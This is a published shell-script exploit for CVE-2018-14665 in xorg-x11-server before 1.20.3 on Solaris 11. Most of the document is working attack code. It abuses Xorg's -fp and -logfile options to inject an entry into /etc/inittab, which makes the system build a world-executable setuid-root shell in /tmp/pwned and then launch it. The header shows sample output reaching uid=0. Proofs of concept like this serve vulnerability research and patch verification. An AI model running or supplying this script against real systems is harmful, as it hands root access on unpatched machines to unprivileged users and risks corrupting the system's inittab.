xorg-x11-server < 1.20.3 (Solaris 11) - 'inittab Local Privilege Escalation
#!/bin/sh # Exploit Title: xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris11 inittab) # Date: 2018-11-25 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.x.org/ # Version: xorg-x11-server 1.19.0 - 1.20.2 # Tested on: Oracle Solaris 11.4 # CVE : CVE-2018-14665 # # raptor_solgasm - xorg-x11-server LPE via Solaris inittab # Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info> # # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission # check for -modulepath and -logfile options when starting Xorg. X server # allows unprivileged users with the ability to log in to the system via # physical console to escalate their privileges and run arbitrary code under # root privileges (CVE-2018-14665). # # "In video games, this is what they call respawning" -- Nick Sax # # This exploit targets /etc/inittab in order to escalate privileges to root # on Solaris 11 (no need to be connected to a physical console). Messing with # inittab is considerably dangerous and you may trash your system, however the # other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't # work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING! # # See also: # https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm # # Usage: # raptor@stalker:~$ chmod +x raptor_solgasm # raptor@stalker:~$ ./raptor_solgasm # [...] # Now please be patient for a few minutes... # [...] # To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab # -rw-r--r-- 1 root staff 13870 nov 24 22:01 /etc/inittab # -rw-r--r-- 1 root sys 967 nov 24 20:01 /etc/inittab.old # -rwsrwxrwx 1 root root 1249080 nov 24 22:05 /tmp/pwned # root@stalker:/etc# id # uid=0(root) gid=0(root) # # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): # Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5] # Oracle Solaris 11 SPARC [untested] # echo "raptor_solgasm - xorg-x11-server LPE via Solaris inittab" echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>" # prepare the payload cat << EOF > /tmp/solgasm cp /bin/zsh /tmp/pwned # fallback in case gcc is not available echo "main(){setuid(0);setgid(0);system(\"/bin/bash\");}" > /tmp/pwned.c gcc /tmp/pwned.c -o /tmp/pwned chmod 4777 /tmp/pwned EOF chmod +x /tmp/solgasm # trigger the bug PWN=x$(cat /dev/urandom | env LC_CTYPE=C tr -dc '[:lower:]' | fold -3 | head -1) cd /etc Xorg -fp "${PWN}::respawn:/tmp/solgasm" -logfile inittab :1 & sleep 5 pkill Xorg # run the setuid shell echo echo "Now please be patient for a few minutes..." echo until [ -u /tmp/pwned ]; do sleep 1; done echo "To avoid trashing the system remember to mv /etc/inittab.old /etc/inittab" ls -l /etc/inittab* ls -l /tmp/pwned sleep 1 /tmp/pwned |